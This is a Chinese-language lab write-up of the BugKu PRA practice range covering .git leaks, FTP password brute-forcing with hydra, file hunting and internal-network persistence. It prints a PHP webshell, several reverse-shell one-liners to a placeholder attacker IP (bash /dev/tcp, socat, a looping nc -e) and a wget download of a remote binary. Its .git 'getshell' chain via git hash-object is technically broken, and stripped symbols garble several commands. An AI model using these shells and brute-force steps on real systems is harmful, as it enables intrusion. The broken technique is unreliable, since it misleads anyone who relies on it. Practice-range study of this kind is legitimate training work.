BugKu PRA靶场复盘:除了漏洞利用,Git仓库getshell与FTP弱口令这些“边角料”也别放过 BugKu PRA靶场复盘那些容易被忽略的攻击面实战指南在渗透测试的实战中真正的挑战往往不在于那些教科书式的漏洞利用而在于如何发现并利用那些被大多数人忽略的边角料。本文将带你深入BugKu PRA靶场中那些容易被忽视的攻击面从Git仓库利用到FTP弱口令突破再到关键文件挖掘为你打开渗透测试的新视角。1. Git仓库从信息泄露到getshell的完整链条当扫描发现.git目录时大多数人的第一反应是使用git-dumper工具下载仓库内容。但在实战中这仅仅是开始。1.1 深入挖掘.git目录的价值标准的.git目录下载后我们通常会检查config文件可能包含数据库凭证或内部服务地址logs/HEAD查看最近提交记录寻找敏感注释index文件分析当前暂存区内容但PRA靶场展示了一个更隐蔽的攻击路径利用可解析的服务器文件后缀。当服务器配置不当允许解析.phtml等特殊后缀时我们可以# 检查服务器是否解析.phtml curl -I http://192.168.1.3/.git/backdoor.phtml1.2 实战中的getshell技巧在确认服务器解析.phtml后攻击流程如下在本地创建恶意文件?php system($_GET[cmd]); ?利用git对象存储机制上传git hash-object -w backdoor.phtml通过git的松散对象访问机制执行http://192.168.1.3/.git/objects/xx/xxxxxx注意不同服务器对git对象的访问权限设置不同有时需要尝试多种路径组合。2. FTP服务弱口令与目录遍历的深度利用面对仅开放21端口的FTP服务很多测试者会轻易放弃。但PRA靶场证明这里可能藏着关键突破口。2.1 高效爆破FTP弱口令的策略不要局限于常见的admin/admin组合实战中有效的爆破字典应包含用户名密码相同的情况如guest/guest公司名/产品名相关的组合近期数据泄露中的高频凭证使用hydra进行智能爆破hydra -L common_users.txt -P top100_passwords.txt ftp://10.10.0.3 -t 4 -vV2.2 登录后的关键操作清单成功登录FTP后立即执行以下检查查看当前目录文件列表ls -la检查可写目录find . -writable -type d寻找包含特定关键词的文件find . -name *.sh -o -name *.conf3. 文件翻找渗透测试中的寻宝游戏在获取初步权限后系统性地翻找文件往往能发现意外收获。3.1 必须检查的关键文件位置文件类型典型路径可能包含的信息启动脚本/start.sh, /etc/init.d/环境变量、服务配置配置文件.conf, config.数据库凭证、API密钥日志文件/var/log/*访问记录、错误信息临时文件/tmp/, /var/tmp/进程转储、会话数据3.2 从start.sh中发现关键线索PRA靶场中start.sh文件揭示了flag3的位置。分析这类脚本时重点关注环境变量设置服务启动参数文件包含关系注释中的提示信息例如#!/bin/bash # flag3 is in the static/js/utils.js npm start4. 多层网络环境下的渗透策略当目标处于多层网络后时需要调整扫描和利用策略。4.1 内网扫描的精准方法使用适合内网的轻量级扫描器# 快速识别存活主机 fscan -h 192.168.0.1/24 -p 21,22,80,443 -o result.txt # 深度服务识别 nmap -sS -sV -T4 -Pn 10.10.0.3 --scriptbanner4.2 稳定维持访问的技术要点在连接不稳定的内网环境中建议使用多种反弹shell方式# 基础bash反弹 bash -i /dev/tcp/your_ip/4444 01 # 使用socat更稳定 socat TCP:your_ip:4444 EXEC:/bin/bash设置自动重连机制while true; do nc your_ip 4444 -e /bin/bash; sleep 5; done优先上传静态二进制工具# 上传静态编译的busybox wget http://your_server/busybox -O /tmp/busybox chmod x /tmp/busybox渗透测试的艺术在于将每个看似微不足道的发现转化为实际突破口。在最近的一次红队演练中正是通过系统性地检查.git目录和FTP服务我们绕过了目标系统的主要防护措施。记住没有无用的信息只有未被充分利用的信息。